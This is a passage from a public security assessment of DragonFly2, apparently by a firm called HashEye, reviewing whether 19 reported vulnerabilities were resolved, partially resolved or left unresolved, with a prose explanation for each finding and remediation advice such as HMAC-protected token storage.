HashEye reviewed the fixes and mitigations implemented by the DragonFly2 team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue. In summary, of the 19 issues described in this report, DragonFly2 has resolved 11 issues, has partially resolved five issues, and has not resolved the remaining three issues. For additional information, please see the Detailed Fix Review Results below. ID Title Status 1 Authentication is not enabled for some Manager's endpoints Partially Resolved 2 Server-Side Request Forgery vulnerabilities Partially Resolved 3 Manager makes requests to external endpoints with disabled TLS authentication Resolved 4 Incorrect handling of a task structure's usedTraffic field Resolved 5 Directories created via os.MkdirAll are not checked for permissions Partially Resolved 6 Slicing operations with hard-coded indexes and without explicit length validation Resolved 7 Files are closed without error check Resolved 8 Timing attacks against Proxy's basic authentication are possible Resolved HashEye 72 DragonFly2 Security Assessment PUBLIC

9 Possible panics due to nil pointer dereference, when using variables created alongside an error Resolved 10 TrimLeft is used instead of TrimPrefix Resolved 11 Vertex.DeleteInEdges and Vertex.DeleteOutEdges functions are not thread safe Unresolved 12 Arbitrary file read and write on a peer machine Partially Resolved 13 Manager generates mTLS certificates for arbitrary IP addresses Unresolved 14 gRPC requests are weakly validated Partially Resolved 15 Weak integrity checks for downloaded files Unresolved 16 Invalid error handling, missing return statement Resolved 17 Tiny file download uses hard coded HTTP protocol Resolved 18 Incorrect log message Resolved 19 Usage of architecture-dependent int type Resolved HashEye 73 DragonFly2 Security Assessment PUBLIC

Detailed Fix Review Results TOB-DF2-1: Authentication is not enabled for some Manager's endpoints Partially resolved in PR 2583 and PR 2590 . New endpoints for creation and management of personal access tokens were created. The endpoints are protected with RBAC, as they were for other authenticated endpoints. Generated tokens are stored in the database. A new middleware was added that checks if a token provided with a request is in the database. There are new job endpoints that mimic the behavior of the old job endpoints but are protected with the new middleware. In other words, a new authentication mechanism was added to the system and it is used to protect newly created endpoints. However, the unauthenticated endpoints reported in the finding are still accessible to users; these were neither removed nor protected with RBAC or the new middleware. Moreover, the newly implemented feature is vulnerable to timing attacks. Requests to the database for token retrieval are not constant time. We recommend to resolve this issue by either (in order of security of the recommendation): 1. Storing the personal access tokens protected with hash-based message authentication codes (HMACs). That is, instead of storing a raw token, store HMAC(key, token) . The key should be a constant server-side secret key. Then perform the lookup on the HMAC when a user supplies a token. 2. Prefixing a token with a unique index and storing the index alongside the token in the database (preferably in a new column). Then, for every user's request, perform a database lookup to retrieve a token (this only compares the indexes), and then compare the retrieved token with the user-provided token using a constant-time comparison function. TOB-DF2-2: Server-side request forgery vulnerabilities Partially resolved in PR 2611 . Only one SSRF attack vector was mitigated. The previously vulnerable preheat endpoint handlers now use a secure version of the HTTP client that allows requests only to IP addresses that are of global unicast type and are not private. The vulnerable pieceManager.DownloadSource method was not fixed. The attack vector via HTTP redirects was not fixed. TOB-DF2-3: Manager makes requests to external endpoints with disabled TLS authentication Resolved in PR 2612 . Configuration options were added to the preheat endpoints, enabling users to provide Certificate Authorities for TLS connections. TOB-DF2-4: Incorrect handling of a task structure's usedTraffic field Resolved in PR 2634 . The usedTraffic field is now correctly updated in the processPieceFromSource method. HashEye 74 DragonFly2 Security Assessment PUBLIC

TOB-DF2-5: Directories created via os.MkdirAll are not checked for permissions Partially resolved in PR 2613 . Files and directories permissions were made more restrictive. However, the main vulnerability reported—lack of pre-existence or post-verification checks for newly created files and directories—was not addressed. TOB-DF2-6: Slicing operations with hard-coded indexes and without explicit length validation Resolved in PR 2636 . Explicit length validations were added to the reported vulnerable methods. TOB-DF2-7: Files are closed without error check Resolved in PR 2599 . Deferred methods checking for errors on files close were added. TOB-DF2-8: Timing attacks against Proxy's basic authentication are possible Resolved in PR 2601 . A constant-time comparison is now used to perform basic authentication in the Proxy. TOB-DF2-9: Possible panics due to nil pointer dereference when using variables created alongside an error Resolved in PR 2602 . Both instances of the vulnerability were fixed by replacing the potentially-nil variables with not-nil ones. Other instances of the vulnerability were either not found or not looked for. TOB-DF2-10: TrimLeft is used instead of TrimPrefix Resolved in PR 2603 . Calls to the TrimLeft method were replaced with calls to the TrimPrefix . TOB-DF2-11: Vertex.DeleteInEdges and Vertex.DeleteOutEdges functions are not thread safe Unresolved in PR 2614 . A new per-vertex mutex is added. It is used

to synchronize access to a single vertex in calls to the Vertex.DeleteInEdges and Vertex.DeleteOutEdges methods. However, the reported vulnerability regards a race condition that results in an invalid state between two (or more) vertices, not the invalid state of a single vertex. The original recommendation of using DAG's mutex (instead of a new, per-vertex mutex) still applies. TOB-DF2-12: Arbitrary file read and write on a peer machine Partially resolved in PR 2637 . The implemented fix disallows users to override already existing files using the ExportTask endpoint. This mitigates the impact of the vulnerability, making it harder for adversaries to gain remote code execution capabilities. However, the root of the vulnerability was not resolved. It is still possible to access, read, and write arbitrary files on peers' machines. HashEye 75 DragonFly2 Security Assessment PUBLIC

The DragonFly2 team indicated that an allowlist for files will be implemented in the future. TOB-DF2-13: Manager generates mTLS certificates for arbitrary IP addresses Unresolved in PR 2615 . The code that was marked with TODO comments was removed, instead of being fixed to resolve the vulnerability. The vulnerability still exists. TOB-DF2-14: gRPC requests are weakly validated Partially resolved in PRs 163 , 164 , 165 , 2616 . The url\_meta fields were marked as required. The digest fields are now validated with a regex that checks hashes lengths. However, the regex has a typo bug that should be fixed. TOB-DF2-15: Weak integrity checks for downloaded files Unresolved. The vulnerability was not resolved in any of the provided pull requests. TOB-DF2-16: Invalid error handling, missing return statement Resolved in PR 2610 . Missing return statements were added. TOB-DF2-17: Tiny file download uses hard coded HTTP protocol Resolved in PR 2617 . The protocol and TLS configuration used for tiny file downloads were made configurable. TOB-DF2-18: Incorrect log message Resolved in PR 2618 . The incorrect error messages were changed so that they provide unambiguous information to users. TOB-DF2-19: Usage of architecture-dependent int type Resolved in PR 2619 . The example instance of the issue was fixed by replacing int type with int64 . Other instances of the vulnerability were either not present or not looked for. HashEye 76 DragonFly2 Security Assessment PUBLIC

6. Fix Review Status Categories The following table describes the statuses used to indicate whether an issue has been sufficiently addressed. Fix Status Status Description Undetermined The status of the issue was not determined during this engagement. Unresolved The issue persists and has not been resolved. Partially Resolved The issue persists but has been partially resolved. Resolved The issue has been sufficiently resolved. HashEye 77 DragonFly2 Security Assessment PUBLIC